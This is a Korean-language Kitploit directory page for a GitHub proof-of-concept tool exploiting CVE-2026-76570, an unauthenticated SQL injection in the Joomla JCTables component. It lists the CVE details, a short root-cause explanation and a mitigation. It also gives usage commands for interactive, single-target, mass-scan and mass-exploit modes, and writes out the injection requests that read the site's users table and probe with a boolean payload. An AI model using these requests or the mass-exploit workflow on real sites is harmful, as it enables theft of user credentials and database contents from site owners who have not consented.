Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-76570 — CVE-2026-76570에 대한 Python PoC: Joomla JCTables(com_jctables) 프런트엔드 JSON API의 인증 없는 SQL 인젝션으로, check, exploit, mass-scan 모드를 제공합니다. | Kitploit
도구/GitHubGitHub/murrez/cve-2026-76570
Vulnerability ScannersWeb Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubmurrez/cve-2026-76570

CVE-2026-76570

CVE-2026-76570에 대한 Python PoC: Joomla JCTables(com_jctables) 프런트엔드 JSON API의 인증 없는 SQL 인젝션으로, check, exploit, mass-scan 모드를 제공합니다.

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-76570 — JCTables (com_jctables) 비인증 SQL 읽기/쓰기

CVE-2026-76570 — Joomcode JCTables — 프런트엔드 JSON CRUD API(getdatarow, getrow, …)의 비인증 SQL 인젝션에 대한 Python 3 PoC입니다.

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76570 (PUBLISHED 2026-09-30)
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-76570
CNAJoomla! Project
구성 요소com_jctables
영향 범위1.0.0 – 1.20.0 (실습 환경: ≤ 1.10.31.2 확인됨)
수정 버전≥ 1.21.1 (2026-08-05)
CWECWE-89, CWE-862
CVSS 4.010.0 Critical — AT:N (특별한 관리자 설정 불필요)
분석VulnCheck — JCTables SQL R/W → RCE 체인

동작 원리 (요약)

프런트엔드 컨트롤러 작업에는 토큰 / ACL이 없습니다. 요청에서 가져온 테이블 및 컬럼 이름이 SQL에 그대로 연결되며, ladb_escape()는 따옴표로 감싼 값을 "이미 이스케이프됨"으로 처리합니다. **getdatarow**는 임의의 DB 테이블(예: {prefix}users)을 읽을 수 있습니다. 이 PoC는 읽기를 입증하며(사용자 이름 / bcrypt 행) — 전체 관리자 로그인 / 플러그인 RCE 체인은 실행하지 않습니다.

성공 표식: POCBIT-76570-OK (JSON 증명 메타데이터 내).

요구 사항

  • Python 3.9+
  • pip install requests urllib3 colorama

사용법

cd CVE-2026-76570
python poc.py                         # interactive
python poc.py hits.txt                # mass exploit → exploited.txt
python poc.py --check fofa_hosts.txt  # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_    # if you know DB prefix
python poc.py --lab
python poc.py --help
python _engine.py --help

API 표면

단계요청
행 읽기GET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1
불리언 프로브GET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR ''

완화 조치

JCTables를 **1.21.1+**로 업그레이드하거나 구성 요소를 제거하십시오.

법적 고지

승인된 보안 테스트에만 사용하십시오.

도구 다운로드